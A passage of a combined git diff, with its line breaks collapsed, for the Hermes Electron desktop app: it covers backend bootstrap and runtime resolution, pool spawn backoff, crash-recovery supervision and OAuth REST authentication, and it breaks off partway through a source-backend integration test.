backendArgs, { hermesHome: HERMES_HOME })++ const activeBackend: SourceBackend | null = await resolveSourceInstallationBackend(ACTIVE_HERMES_ROOT, backendArgs, { hermesHome: HERMES_HOME })+ const activeRuntime: ActiveRuntimeState = activeRuntimeState(activeBackend)- if (python) {- // Same smoke-test rationale as step 4: a system Python in the- // SUPPORTED_VERSIONS range can be registered (PEP 514) without- // having hermes_cli installed -- common on dev boxes that have- // a python.org install from prior unrelated work. Returning that- // backend hands the spawn step a guaranteed ModuleNotFoundError.- // Verify the import works before trusting the candidate; on- // failure, fall through to step 6 so the bootstrap runner pulls- // a uv-managed 3.11 into %LOCALAPPDATA%\hermes\hermes-agent\venv.- if (await canImportHermesCli(python)) {- return {- kind: 'python',- label: `installed hermes_cli module via ${python}`,- command: python,- args: ['-m', 'hermes_cli.main', ...backendArgs],- bootstrap: false,- env: {},- shell: false- }+ if (activeBackend && !bootstrapRepairRequested) {+ if (!activeRuntime.hasValidMarker) {+ rememberLog(+ `[bootstrap] Active Hermes runtime at ${ACTIVE_HERMES_ROOT} is usable but the bootstrap marker is missing or stale; skipping first-run bootstrap.`+ )}- rememberLog(`Ignoring system Python ${python}: hermes_cli is not importable; falling through to bootstrap.`)+ return activeBackend+ }++ if (bootstrapRepairRequested) {+ rememberLog('[bootstrap] repair requested; bypassing the usable active runtime to re-run the installer')}- // 6. Nothing usable yet -- signal the bootstrap runner that we need to+ // 5. Nothing usable yet -- signal the bootstrap runner that we need to// clone+install. Phase 1D's bootstrap-runner consumes this sentinel// and drives install.ps1 stages with a progress UI. Until 1D lands,// callers see the sentinel and surface it as a user-facing error@@@ -4406,25 -5251,13 +4420,26 @@@}}-function ensureRuntime(backend: any, assertStillOwned: () => void): Promise<any> {- return localBackendLifecycle.start(() => runEnsureRuntime(backend, assertStillOwned))+interface ResolvedHermesBackend {+ kind: string+ label: string+ command: string | null+ args: string[]+ env: NodeJS.ProcessEnv+ bootstrap: boolean+ shell: boolean+ local?: string+ root?: string+ installStamp?: Readonly<InstallStamp> | null+ activeRoot?: string+ isPackaged?: boolean+ platform?: NodeJS.Platform+ readyFile?: boolean}- async function ensureRuntime(backend: ResolvedHermesBackend): Promise<ResolvedHermesBackend> {-async function runEnsureRuntime(backend: any, assertStillOwned: () => void): Promise<any> {++async function ensureRuntime(backend: ResolvedHermesBackend, assertStillOwned: () => void): Promise<ResolvedHermesBackend> {localBackendLifecycle.assertCanStart()+ assertStillOwned()if (!backend.bootstrap) {await advanceBootProgress('runtime.external', `Using ${backend.label}`, 32)@@@ -4548,11 -5367,58 +4563,11 @@@rememberLog('[bootstrap] bootstrap complete; marker written. Re-resolving backend.')- // Re-resolve now that the install exists. The new resolution lands in- // step 3 (bootstrap-complete marker) and we recurse to wire venvPython.+ // Resolve the newly published launcher after the installer completes.- return ensureRuntime(resolveHermesBackend(backend.args))+ return ensureRuntime(await resolveHermesBackend(backend.args), assertStillOwned)}- // bootstrap=true with a real backend (createActiveBackend path) means we- // have a checkout and need to ensure the venv-derived Python command is- // wired into the backend before launch. Same code path the old factory- // sync flow exited through, minus all the factory/pip/marker machinery- // (install.ps1 owns those concerns now and the bootstrap-complete marker- // attests they ran successfully).- if (!isHermesSourceRoot(ACTIVE_HERMES_ROOT)) {- throw new Error(missingInstallPartMessage(`Hermes source files are missing or incomplete at ${ACTIVE_HERMES_ROOT}`))- }-- // On Windows, preflight Git Bash. Hermes' terminal tool calls bash.exe- // directly (tools/environments/local.py); without it the agent can't run- // terminal commands. install.ps1's Stage-Git puts PortableGit at- // %LOCALAPPDATA%\hermes\git\, which findGitBash() picks up, so for any- // user who completed the bootstrap this is a no-op. For users who got- // here via an external `hermes` on PATH, this check still helps.- if (IS_WINDOWS && !findGitBash()) {- throw new Error(- "Hermes needs a helper called Git for Windows, which isn't installed. " +- 'Choose Repair install to add it automatically, or install it yourself from git-scm.com and reopen Hermes.'- )- }-- const venvPython = getVenvPython(VENV_ROOT)-- if (!fileExists(venvPython)) {- // No venv at the expected location AND no bootstrap-needed sentinel- // means we have a half-installed checkout: .git exists, source files- // exist, but venv is missing or broken. This shouldn't happen in- // normal flow because activeRuntimeState() requires isHermesSourceRoot()- // plus an importable hermes_cli before it hands back the active runtime.- // If we hit this, the user (or a deleted venv) broke the invariant; tell- // them to re-run the install.- throw new Error(missingInstallPartMessage(`Python environment missing at ${VENV_ROOT}`))- }-- backend.command = getVenvPython(VENV_ROOT)- backend.label = `Hermes at ${ACTIVE_HERMES_ROOT} (venv: ${VENV_ROOT})`- updateBootProgress({- phase: 'runtime.ready',- message: 'Hermes runtime is ready',- progress: 82,- running: true,- error: null- })-- return backend+ throw new Error(`Unexpected bootstrap backend: ${backend.kind}`)}// Assemble a single-file multipart/form-data body (FastAPI `UploadFile`@@@ -8666,27 -9766,34 +8741,34 @@@ async function saveRegistryConnection(ireturn sanitizeRegistryConnection(entry)}- // Returns the desktop's chosen profile name, or null when unset. "default" is- // a valid stored value (pins the root HERMES_HOME explicitly); null means "no- // preference" and preserves the legacy launch (no --profile flag).- function readActiveDesktopProfile() {- try {- const raw = fs.readFileSync(DESKTOP_PROFILE_CONFIG_PATH, 'utf8')- const parsed = JSON.parse(raw)- const name = parsed && typeof parsed.profile === 'string' ? parsed.profile.trim() : ''-- if (name && (name === 'default' || PROFILE_NAME_RE.test(name))) {- return name+ // Last-used profile and explicit app-wide default share the existing desktop+ // preference file, but only the explicit action changes the default route.+ const desktopProfilePreferences = createDesktopProfilePreferences(DESKTOP_PROFILE_CONFIG_PATH, {+ validateRoute: validateDesktopProfileRoute,+ onDefaultChanged: route => {+ for (const win of BrowserWindow.getAllWindows()) {+ if (!win.webContents.isDestroyed()) {+ win.webContents.send('hermes:profile:default:changed', route)+ }}- } catch {- // Missing or malformed → no preference.}+ })- return null+ function validateDesktopProfileRoute(route: DesktopProfileRoute) {+ if (+ route.connectionId &&+ !readDesktopConnectionsRegistry().connections.some((source: { id: string }) => source.id === route.connectionId)+ ) {+ throw new Error(`No connection with id "${route.connectionId}".`)+ }+ }++ function readActiveDesktopProfile() {+ return desktopProfilePreferences.readActive()}-function writeActiveDesktopProfile(name) {+function writeActiveDesktopProfile(name: string | null): string | null {- return writeDesktopProfile(DESKTOP_PROFILE_CONFIG_PATH, name?.trim() || null)+ return desktopProfilePreferences.remember(name)}// True when the given pid belongs to a running process whose command line@@@ -10307,7 -11351,10 +10389,7 @@@ function resetHermesConnectionState({ sbackendStartFailure = nullremoteReauthFailure = nullremoteLiveness.clear()- backendConnectionState.invalidate()- // The next startHermes() re-reads active-profile.json for its launch profile.- primaryProfilePin.clear()- const hermesProcess = invalidatePrimaryConnection()- stopBackendChild(hermesProcess)++ invalidatePrimaryConnection()if (!soft) {resetBootProgressForReconnect()@@@ -10399,9 -11477,12 +10489,10 @@@ function profileRouteOptions(profile, r// Resolve a backend connection for the given profile, per the routing table in// resolveProfileBackendRoute(). An empty / unknown profile resolves to the// primary, so legacy callers are unchanged.-async function ensureBackend(profile, opts: { passive?: boolean; spawnPriority?: LocalBackendSpawnPriority } = {}) {- localBackendLifecycle.assertCanStart()+async function ensureBackend(profile, opts: { spawnPriority?: LocalBackendSpawnPriority } = {}) {const key = profile && String(profile).trim() ? String(profile).trim() : primaryProfileKey()const spawnPriority = spawnPriorityFrom(opts.spawnPriority)+ poolRetirer.assertCanOpen(key, spawnPriority)- const passive = Boolean(opts.passive)profileDeletionGate.assertCanStart(key)@@@ -11455,8 -12610,14 +11567,14 @@@ async function spawnPoolBackendconst spawnPriority: LocalBackendSpawnPriority = spawnPriorityFrom(entry.spawnPriority)- assertPoolEntryStillOwned(poolKey, entry)+ assertPoolEntryStillOwned(poolKey, entry, backendPool, localBackendLifecycle.signal)+ if (spawnPriority === 'background' && !backgroundSlotRetryBackoff.canAttempt(poolKey)) {+ throw new BackgroundSlotRetryDeferredError(profile)+ }++ // The arbiter subscribes to the actual coordinator queue, so a later+ // foreground promotion receives reclamation too, not just fresh starts.const spawnRequest = localBackendSpawnCoordinator.request(poolKey, {timeoutMs: POOL_SLOT_WAIT_MS,priority: spawnPriority@@@ -11516,9 -12689,14 +11641,14 @@@// step 3 in hermes_cli/main.py), so the child re-homes to this profile.// --port 0: the OS assigns an ephemeral port; the child announces it on stdout.const backendArgs = ['--profile', profile, 'serve', '--host', '127.0.0.1', '--port', '0']- const backend = await ensureRuntime(resolveHermesBackend(backendArgs))++ const backend = await ensureRuntime(await resolveHermesBackend(backendArgs), () =>- assertPoolEntryStillOwned(poolKey, entry)++ assertPoolEntryStillOwned(poolKey, entry, backendPool, localBackendLifecycle.signal)+ )+// Route old runtimes (no `serve`) through the legacy `dashboard --no-open`.- backend.args = getBackendArgsForRuntime(backend)+ backend.args = await getBackendArgsForRuntime(backend)- assertPoolEntryStillOwned(poolKey, entry)++ assertPoolEntryStillOwned(poolKey, entry, backendPool, localBackendLifecycle.signal)const hermesCwd = resolveHermesCwd()const webDist = resolveWebDist()const readyFile = backend.readyFile ? makeDashboardReadyFile() : null@@@ -11630,8 -12789,25 +11738,25 @@@}})- // Discover the ephemeral port the child bound to+ // Start watching for the READY announcement BEFORE any await (#60323):+ // stdout is already flowing into the tail, and Node streams never replay+ // consumed chunks to late listeners — a sentinel printed while+ // claimBackendChild runs would otherwise be lost forever, timing out a+ // healthy backend. The tail-buffer accessor covers any residual gap.+ const portAnnouncement = waitForDashboardPortAnnouncement(child, {+ bufferedOutput: () => outputTail.text(),+ describeOutputTail: () => outputTail.describe(),+ readyFile+ })+ portAnnouncement.catch(() => {})+ await claimBackendChild(child, `${backend.command} ${backend.args.join(' ')}`, profile, backendNonce, outputTail)- assertPoolEntryStillOwned(poolKey, entry, { releaseSlot: false })++ assertPoolEntryStillOwned(poolKey, entry, backendPool, localBackendLifecycle.signal)++ child.stdout.on('data', rememberLog)+ child.stderr.on('data', rememberLog)+const port = await Promise.race([portAnnouncement, startFailed])- assertPoolEntryStillOwned(poolKey, entry, { releaseSlot: false })++ assertPoolEntryStillOwned(poolKey, entry, backendPool, localBackendLifecycle.signal)if (readyFile) {fs.unlink(readyFile, () => {})@@@ -11641,6 -12817,7 +11766,7 @@@const baseUrl = `http://127.0.0.1:${port}`await Promise.race([waitForHermes(baseUrl, token), startFailed])- assertPoolEntryStillOwned(poolKey, entry, { releaseSlot: false })++ assertPoolEntryStillOwned(poolKey, entry, backendPool, localBackendLifecycle.signal)ready = trueconst authToken = await adoptServedDashboardToken(baseUrl, token, {@@@ -11649,12 -12826,15 +11775,15 @@@rememberLog})- assertPoolEntryStillOwned(poolKey, entry, { releaseSlot: false })++ assertPoolEntryStillOwned(poolKey, entry, backendPool, localBackendLifecycle.signal)+entry.token = authToken// Verify the WebSocket session token before declaring backend ready.// HTTP /api/status can pass while WS auth fails (separate transport, separate guards).const wsUrl = `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(authToken)}`const wsProbe = await probeGatewayWebSocket(wsUrl, { WebSocketImpl: globalThis.WebSocket })- assertPoolEntryStillOwned(poolKey, entry, { releaseSlot: false })++ assertPoolEntryStillOwned(poolKey, entry, backendPool, localBackendLifecycle.signal)if (!wsProbe.ok) {throw new Error(@@@ -11838,7 -13011,59 +11999,59 @@@ async function prepareProfileRenameRequ})}- async function startHermes(): Promise<Awaited<ReturnType<typeof backendConnectionState.getPromise>>> {-function startHermes() {++function startHermes(): Promise<Awaited<ReturnType<typeof backendConnectionState.getPromise>>> {+ primaryRecoverySuppressed = false+ primaryStartsInFlight += 1+- const start = localBackendLifecycle.start(runHermesStart)++ const start: Promise<Awaited<ReturnType<typeof backendConnectionState.getPromise>>> = localBackendLifecycle.start(runHermesStart)+- const releaseStart = () => {++ const releaseStart = (): void => {+ primaryStartsInFlight -= 1+ }++ void start.then(releaseStart, releaseStart)++ return start+ }++ // A ready primary child died. When its exit leaves the primary slot with no+ // owner and no start in flight (outside an intentional teardown), the+ // supervisor owns the respawn (#112344): the stale-classified exit used to+ // "log and return", and recovery then hinged on the renderer noticing its+ // socket drop — a 9 h engine-less window when it did not. Pool children are+ // deliberately not consulted: they never own the window backend.-function scheduleUnexpectedPrimaryRecovery({ code = null, signal = null, error = null, ready = false } = {}) {++function scheduleUnexpectedPrimaryRecovery({ code = null, signal = null, error = null, ready = false }: { code?: number | null; signal?: NodeJS.Signals | null; error?: string | null; ready?: boolean } = {}): boolean {+ if (!ready) {+ return false+ }+- const claimed = primaryExitRecovery.claim({++ const claimed: boolean = primaryExitRecovery.claim({+ hasCurrentOwner: backendConnectionState.getProcess() !== null || backendConnectionState.getPromise() !== null,+ hasPendingStart: primaryStartsInFlight > 0,+ intentionalTeardown: primaryRecoverySuppressed || isQuittingForHandoff || backendShutdown.hasStarted()+ })++ if (!claimed) {+ if (primaryExitRecovery.isCrashLooping()) {- const message =++ const message: string =+ 'Hermes backend keeps crashing right after it restarts; not restarting it again. Relaunch Hermes Desktop.'+ rememberLog(`[supervisor] ${message}`)+ sendBackendExit({ code, signal, error: message })++ return true+ }++ return false+ }++ rememberLog('[supervisor] backend exit left no primary owner and no start in flight; respawning')+ sendBackendExit({ code, signal, ...(error ? { error } : {}) })+ startHermes().catch(respawnError => rememberLog(`[supervisor] backend respawn failed: ${respawnError.message}`))++ return true+ }+-async function runHermesStart() {++async function runHermesStart(): Promise<Awaited<ReturnType<typeof backendConnectionState.getPromise>>> {// Only the single-instance lock holder may reap/spawn/claim the desktop// backend. A lock-losing instance must stay inert even if some path reaches// here (e.g. the deferred-quit window before `ready`): its reapOrphans()@@@ -15589,10 -16878,15 +15846,13 @@@ async function dispatchRegistryApiReque// Claim-guarded (#90812): every registry-scoped REST call funnels through// here, so it can race a renderer's own WS reconnect dial for the same// (connectionId, profile) scope; coalescing avoids bootstrapping a second- // SSH tunnel / remote dashboard.+ // SSH tunnel / remote dashboard. A passive read never dials, so it stays+ // OUT of the claim: an interactive open coalescing onto an in-flight+ // passive read would otherwise inherit its "no warm backend" rejection.- const spawnPriority = spawnPriorityFrom(request?.priority)- const connection: any = request?.passive- ? await ensureRegistryBackend(registryConnectionId, routeProfile, '', { passive: true })- : await backendDialClaims.run(backendScopeKey(registryConnectionId, routeProfile), () =>- ensureRegistryBackend(registryConnectionId, routeProfile, '', { spawnPriority })- )++ const spawnPriority: LocalBackendSpawnPriority = spawnPriorityFrom(request?.priority)+ const connection: any = await backendDialClaims.run(backendScopeKey(registryConnectionId, routeProfile), () =>- ensureRegistryBackend(registryConnectionId, routeProfile)++ ensureRegistryBackend(registryConnectionId, routeProfile, '', { spawnPriority })+ )const requestPath = pathForRegistryBackendRequest(request.path, requestProfile, connection)@@@ -15675,56 -16972,18 +15938,57 @@@ async function handleHermesApiRequest(r: resolveRouteProfile(tornDownProfile, apiRoute.backendProfile)let response+ let connectiontry {- const connection = await ensureBackend(routeProfile)- connection = await ensureBackend(routeProfile, { passive: request?.passive, spawnPriority })++ connection = await ensureBackend(routeProfile, { spawnPriority })const timeoutMs = resolveTimeoutMs(request?.timeoutMs, DEFAULT_FETCH_TIMEOUT_MS)- response = await fetchJsonForBackend(connection, apiRoute.requestPath, {- method: request?.method,- body: request?.body,- upload: request?.upload,- timeoutMs- })+ const url = `${connection.baseUrl}${apiRoute.requestPath}`++ // OAuth gateways authenticate REST via EITHER a native bearer token+ // (cookieless RFC 8252 flow) OR the HttpOnly session cookie held in the OAuth+ // partition. Prefer the native bearer when present (mirroring+ // mintGatewayWsTicket): the native flow never sets a cookie, so routing an+ // oauth-mode REST call through the cookie-only path returns 401 no_cookie even+ // though a valid bearer is held. Cookie mode rides Electron's net stack bound+ // to the OAuth partition so the cookie attaches automatically. Token/local+ // modes keep using the static session-token header.+ if (connection.authMode === 'oauth') {+ // The OAuth path rides electron.net with JSON headers; multipart isn't+ // wired there. Fail loudly rather than corrupting the upload.+ if (request?.upload) {+ throw new Error('File uploads are not supported against OAuth-gated remote backends yet.')+ }++ // Native bearer first (cookieless). ensureNativeAccessToken transparently+ // refreshes a near-expiry AT via /auth/native/refresh; a null return means+ // no native session (resolveOauthRestAuth then selects the cookie path).+ const nativeAt = await ensureNativeAccessToken(connection.baseUrl).catch(() => null)+ const restAuth = resolveOauthRestAuth(nativeAt)++ if (restAuth.kind === 'bearer') {+ response = await fetchJson(url, null, {+ method: request?.method,+ body: request?.body,+ timeoutMs,+ bearer: restAuth.token+ })+ } else {+ response = await fetchJsonViaOauthSession(url, {+ method: request?.method,+ body: request?.body,+ timeoutMs+ })+ }+ } else {+ response = await fetchJson(url, connection.token, {+ method: request?.method,+ body: request?.body,+ upload: request?.upload,+ timeoutMs+ })+ }} catch (error) {// A failed rename PATCH must not strand the app on the temporary primary:// restore the original active profile and restart its backend.@@@ -16680,84 -17906,80 +16948,84 @@@ ipcMain.handle('hermes:app:relaunch', avoid exitAfterBackendShutdown(0)})-// Host facts the guided first run asks for once, to decide whether "set this-// machine up" is the likeliest first task or just one option among several.-// Age is the birthtime of the user's home directory — when the OS created this-// account, the closest thing to "when did this machine become theirs" that-// costs a single stat. Filesystems that keep no birthtime report null, and the-// flow reads unknown as not-new.-ipcMain.handle('hermes:machine:profile', async () => {- let ageDays: null | number = null+/** The latest pm/venv/plugin-operation receipt — the machine-readable+ * surface every medium reads (CLI: `hermes pm status`). Returned as one+ * parsed JSON object: { kind, outcome, venv_rebuild, plugin_bisect,+ * plugin_checks, ... } or null when no operation has run yet. The file+ * lives at <HERMES_HOME>/logs/update_receipts/latest.json — written by+ * pm syncs (bisect disables, failed rebuilds), plugin update checks,+ * and (embedded) updates. */+function readLatestSyncReceipt(): Record<string, unknown> | null {+ const receiptPath = path.join(+ HERMES_HOME,+ 'logs',+ 'update_receipts',+ 'latest.json'+ )try {- const { birthtimeMs } = fs.statSync(os.homedir())+ const text = fs.readFileSync(receiptPath, 'utf8')+ // tolerate a BOM (hermes writes plain, but editors touch configs)+ const stripped = text.charCodeAt(0) === 0xfeff ? text.slice(1) : text- if (birthtimeMs > 0) {- ageDays = Math.max(0, Math.floor((Date.now() - birthtimeMs) / 86_400_000))- }+ return JSON.parse(stripped)} catch {- // Unknown age — the option still shows, it just doesn't lead.+ return null}+}- // The OS login name powers a first-name SUGGESTION in the guided chat ("or- // I can just call you akp"). Best-effort: an unidentifiable user just gets- // no suggestion.- let username = ''+ipcMain.handle('hermes:sync-status', () => readLatestSyncReceipt())+// Python's Path.resolve() equivalent for install-id derivation: realpath when+// the path exists, plain resolve otherwise. Must stay byte-compatible with+// boot_bootstrap._install_key or the CLI and the app would compute two+// different ids for one install.+function canonicalizeInstallPath(p: string): string {try {- username = os.userInfo().username+ return fs.realpathSync(p)} catch {- // No account name to suggest — the guide simply asks.+ return path.resolve(p)}+}- return {- ageDays,- arch: process.arch,- // What the OS is set to, so a first run can open in the user's own- // language instead of asking them to go and find the setting. Chromium- // resolves this from the real OS preference (not the app's own bundle),- // so it is the honest answer even though every UI string is English- // until a translation exists.- locale: app.getLocale() || '',- model: readHardwareModel(),- nvidia: await hasNvidiaGpu(),- platform: process.platform,- release: os.release(),- username+/** Classify what this build carries (embedded / light / external). The stamp's+ * `payload` decides the first two; an external build classifies its root via+ * the canonical-root install stamp (desktop-bootstrapped) or the app stamp's+ * `source`, so About's Runtime row names git/docker/nix/desktop-bootstrap+ * instead of a bare "external". */+function resolveHermesRuntime() {+ const stamp = INSTALL_STAMP as InstallStamp | null++ if (stamp?.payload === 'light') {+ return { type: 'light' }}-})-/** The board's own name for itself. Firmware writes it to the device tree on- * ARM systems (`NVIDIA_DGX_Spark`), which is how the first run can greet a- * DGX Spark as a Spark instead of "a Linux box". Empty everywhere else,- * Windows included — the RTX Spark is identified from the GPU instead. */-function readHardwareModel(): string {- try {- return fs.readFileSync('/proc/device-tree/model', 'utf8').replace(/\0/g, '').trim()- } catch {- return ''+ if (stamp?.payload === 'bundled') {+ return { type: 'embedded' }}-}-const NVIDIA_PCI_VENDOR_ID = 0x10de+ const root = resolveUpdateRoot()- const canonicalStamp = activeRuntimeState().canonicalInstallStamp++ const canonicalStamp = readCanonicalInstallStamp()-/** Chromium already enumerated the GPUs to decide how to composite, so this is- * a lookup rather than a probe — no subprocess, no vendor tooling that a- * just-unboxed machine may not have yet. Paired with Windows-on-Arm it is what- * names an RTX Spark. */-async function hasNvidiaGpu(): Promise<boolean> {- try {- // SAFETY: Electron's basic GPU info is Chromium's GPU record; each gpuDevice has a numeric PCI vendorId.- const info = (await app.getGPUInfo('basic')) as { gpuDevice?: { vendorId?: number }[] }+ if (canonicalStamp?.source === 'desktop-bootstrap') {+ return { type: 'desktop-bootstrap', root }+ }- return (info.gpuDevice ?? []).some(device => device.vendorId === NVIDIA_PCI_VENDOR_ID)- } catch {- return false+ const source = stamp?.source++ if (source === 'git') {+ return { type: 'git', root }+ }++ if (source === 'nix') {+ return { type: 'nix', root: null }+ }++ if (source === 'docker') {+ return { type: 'docker', root: null }}++ return { type: 'unknown' }}// ===========================================================================diff --cc apps/desktop/electron/pool-spawn-coordinator.tsindex 11c9c8a69f9,48d0f792154..2ecda977f3e--- a/apps/desktop/electron/pool-spawn-coordinator.ts+++ b/apps/desktop/electron/pool-spawn-coordinator.ts@@@ -42,46 -44,89 +44,129 @@@ export function isBackgroundSlotWaitTimreturn error instanceof LocalBackendSlotWaitTimeoutError && error.silent}+export interface LocalBackendSlotEntry {+ process?: unknown+ releaseLocalBackendSlot?: ReleaseLocalBackendSlot | null+ localBackendSlotKey?: string | null+ localBackendSpawnRequest?: LocalBackendSpawnRequest | null+}++export function releaseLocalBackendSlot(entry: LocalBackendSlotEntry | undefined): void {+ if (!entry) {+ return+ }++ const release = entry.releaseLocalBackendSlot+ const request = entry.localBackendSpawnRequest+ entry.releaseLocalBackendSlot = null+ entry.localBackendSlotKey = null+ entry.localBackendSpawnRequest = null++ if (release) {+ release()+ } else {+ request?.cancel()+ }+}++export function assertPoolEntryStillOwned(+ poolKey: string,+ entry: LocalBackendSlotEntry,+ pool: ReadonlyMap<string, LocalBackendSlotEntry>,+ signal: AbortSignal+): void {+ if (signal.aborted || pool.get(poolKey) !== entry) {+ // A post-claim cancellation still owns a child. Its exit releases capacity.+ if (!entry.process) {+ releaseLocalBackendSlot(entry)+ }++ throw new Error(`Profile backend start for "${poolKey}" was cancelled during start.`)+ }+}+ /** A retry deferment is expected background control flow, not a start failure. */+ export class BackgroundSlotRetryDeferredError extends Error {+ constructor(key: string) {+ super(`Local backend start for "${key}" is backing off after slot saturation.`)+ this.name = 'BackgroundSlotRetryDeferredError'+ }+ }++ export function isBackgroundSlotRetryDeferred(error: unknown): boolean {+ return error instanceof BackgroundSlotRetryDeferredError+ }++ /**+ * Per-profile cooldown for background hydration after a pool-slot timeout.+ *+ * A full local pool is commonly structural (more profiles than the configured+ * cap), so retrying every roster refresh creates a permanent timeout and log+ * storm. Foreground opens bypass this guard; a successful slot acquisition+ * clears it. Keeping this state outside the coordinator preserves its role as+ * a fair slot allocator rather than teaching it about hydration policy.+ */+ export class BackgroundSlotRetryBackoff {+ #failures = new Map<string, { nextRetryAt: number; attempts: number }>()+ readonly #baseDelayMs: number+ readonly #maxDelayMs: number++ constructor({ baseDelayMs = 60_000, maxDelayMs = 15 * 60_000 } = {}) {+ if (!Number.isFinite(baseDelayMs) || baseDelayMs < 1 || !Number.isFinite(maxDelayMs) || maxDelayMs < baseDelayMs) {+ throw new RangeError('Background slot retry delays must be positive and ordered.')+ }++ this.#baseDelayMs = baseDelayMs+ this.#maxDelayMs = maxDelayMs+ }++ canAttempt(key: string, now = Date.now()): boolean {+ return (this.#failures.get(key)?.nextRetryAt ?? 0) <= now+ }++ recordFailure(key: string, now = Date.now()): number {+ const attempts = (this.#failures.get(key)?.attempts ?? 0) + 1+ const delay = Math.min(this.#baseDelayMs * 2 ** (attempts - 1), this.#maxDelayMs)+ this.#failures.set(key, { attempts, nextRetryAt: now + delay })++ return delay+ }++ clear(key: string): void {+ this.#failures.delete(key)+ }+ }++ /** Register at spawn, before claiming ownership or awaiting readiness. */+ export function registerLocalBackendExitFinalizer<Entry extends { process: WaitableChild | null }>(+ pool: Map<string, Entry>,+ key: string,+ entry: Entry,+ release: ReleaseLocalBackendSlot+ ): void {+ const child = entry.process++ const finalize = () => {+ child?.removeListener('exit', finalize)+ child?.removeListener('error', spawnFailed)++ if (pool.get(key) === entry) {+ pool.delete(key)+ }++ release()+ }++ const spawnFailed = () => {+ // Failed spawn has no PID and emits error, but never exit. A signal error+ // against an existing child is not evidence of exit and must keep its slot.+ if (!child?.pid) {+ finalize()+ }+ }++ child?.once('exit', finalize)+ child?.once('error', spawnFailed)+ }export async function releaseLocalBackendSlotAfterExit(release: ReleaseLocalBackendSlot,diff --cc apps/desktop/electron/source-backend.test.tsindex 3c4dfc6f7e4,00000000000..5809c7039f5mode 100644,000000..100644--- a/apps/desktop/electron/source-backend.test.ts+++ b/apps/desktop/electron/source-backend.test.ts@@@ -1,234 -1,0 +1,234 @@@+import assert from 'node:assert/strict'+import { type ChildProcess, execFileSync, spawn } from 'node:child_process'+import fs from 'node:fs'+import os from 'node:os'+import path from 'node:path'++import { test, vi } from 'vitest'+import WebSocket from 'ws'++import { serveBackendArgs } from './backend-command'+import { waitForDashboardPort } from './backend-ready'+import { createSourcePythonBackend, resolveSourceInstallationBackend, type SourceBackend } from './source-backend'++interface Fixture {+ root: string+ launcher: string+ python: string+ selected: string+}++async function stop(child: ChildProcess): Promise<void> {+ if (child.exitCode !== null || child.signalCode !== null) {+ return+ }++ await new Promise<void>((resolve: () => void): void => {+ const timer: NodeJS.Timeout = setTimeout((): void => {+ child.kill('SIGKILL')+ }, 5_000)++ child.once('exit', (): void => {+ clearTimeout(timer)+ resolve()+ })+ child.kill()+ })+}++async function ping(port: number, token: string): Promise<unknown> {+ const socket: WebSocket = new WebSocket(`ws://127.0.0.1:${port}/api/ws?token=${token}`)++ try {+ return await new Promise<unknown>((resolve: (value: unknown) => void, reject: (error: Error) => void): void => {+ const timer: NodeJS.Timeout = setTimeout((): void => {+ reject(new Error('RPC timed out'))+ }, 15_000)++ socket.once('error', (error: Error): void => {+ clearTimeout(timer)+ reject(error)+ })+ socket.once('open', (): void => {+ socket.send(JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'ping', params: {} }))+ })+ socket.on('message', (data: WebSocket.RawData): void => {+ const response: { id?: number; result?: unknown; error?: unknown } = JSON.parse(data.toString())++ if (response.id === 1) {+ clearTimeout(timer)+ resolve(response)+ }+ })+ })+ } finally {+ socket.terminate()+ }+}++test.skipIf(process.platform === 'win32')(+ 'a PM source launcher reaches real health and RPC without adopting a legacy venv (POSIX)',+ async (): Promise<void> => {+ const temp: string = fs.mkdtempSync(path.join(os.tmpdir(), 'desktop-pm-start-'))+ const home: string = path.join(temp, 'home with spaces')++ const env: NodeJS.ProcessEnv = Object.fromEntries(+ Object.entries(process.env).filter(+ ([key]: [string, string | undefined]): boolean => !/^(HERMES_|PYTHON|UV_|VIRTUAL_ENV|XDG_)/.test(key)+ )+ )++ Object.assign(env, {+ HOME: home,+ USERPROFILE: home,+ HERMES_HOME: path.join(home, '.hermes'),+ HERMES_RUNTIME_DIR: path.join(temp, 'tools'),+ HERMES_DISABLE_LAZY_INSTALLS: '1',+ XDG_CONFIG_HOME: path.join(temp, 'config'),+ XDG_CONFIG_DIRS: path.join(temp, 'config'),+ PYTHONDONTWRITEBYTECODE: '1',+ UV_CACHE_DIR: path.join(temp, 'cache'),+ UV_OFFLINE: '1'+ })+ const python: string = process.env.HERMES_PYTHON || 'python3'+ const fixtureScript: string = path.join(import.meta.dirname, 'fixtures', 'source-backend.py')+ const token: string = 'desktop-pm-contract'+ env.HERMES_DASHBOARD_SESSION_TOKEN = token+ vi.stubEnv('HOME', home)++ try {+ const fixture: Fixture = JSON.parse(+ execFileSync(python, ['-I', fixtureScript, temp], {+ cwd: temp,+ env,+ encoding: 'utf8',+ timeout: 90_000+ })+ ) as Fixture++ assert.equal(fs.existsSync(path.join(fixture.root, 'venv')), false)+ assert.equal(fs.existsSync(path.join(fixture.root, '.venv')), false)++ const origin: { python: string; module: string; value: string } = JSON.parse(+ execFileSync(fixture.launcher, ['--run-module', 'desktop_launch_probe'], {+ cwd: temp,+ env,+ encoding: 'utf8',+ timeout: 15_000+ })+ )++ assert.equal(origin.python, fixture.python)+ assert.ok(origin.module.startsWith(`${fixture.selected}${path.sep}`))+ assert.equal(origin.value, 'selected by PM')++ for (const poisoned of [false, true]) {+ const poison: string = path.join(temp, 'legacy-python-used')++ if (poisoned) {+ for (const suffix of ['bin/python', 'Scripts/python.exe']) {+ const oldPython: string = path.join(fixture.root, 'venv', suffix)+ fs.mkdirSync(path.dirname(oldPython), { recursive: true })+ fs.writeFileSync(oldPython, `#!/bin/sh\ntouch '${poison}'\nexit 93\n`, { mode: 0o755 })+ }+ }+- const backend: SourceBackend | null = resolveSourceInstallationBackend(fixture.root, serveBackendArgs(), {++ const backend: SourceBackend | null = await resolveSourceInstallationBackend(fixture.root, serveBackendArgs(), {+ hermesHome: env.HERMES_HOME,+ env+ })++ assert.ok(backend, 'a published, runnable PM installation must be accepted')+ assert.equal(backend.command, fixture.launcher)+ assert.equal(backend.bootstrap, false)++ const child: ChildProcess = spawn(backend.command, backend.args, {+ cwd: temp,+ env: { ...env, ...backend.env },+ shell: backend.shell,+ stdio: ['ignore', 'pipe', 'pipe']+ })++ let output: string = ''+ child.stdout?.on('data', (data: Buffer): void => {+ output += data.toString()+ })+ child.stderr?.on('data', (data: Buffer): void => {+ output += data.toString()+ })++ try {+ const port: number = (await waitForDashboardPort(child, 45_000)) as number++ const response: Response = await fetch(`http://127.0.0.1:${port}/api/health`, {+ headers: { 'X-Hermes-Session-Token': token }+ })++ assert.equal(response.status, 200, 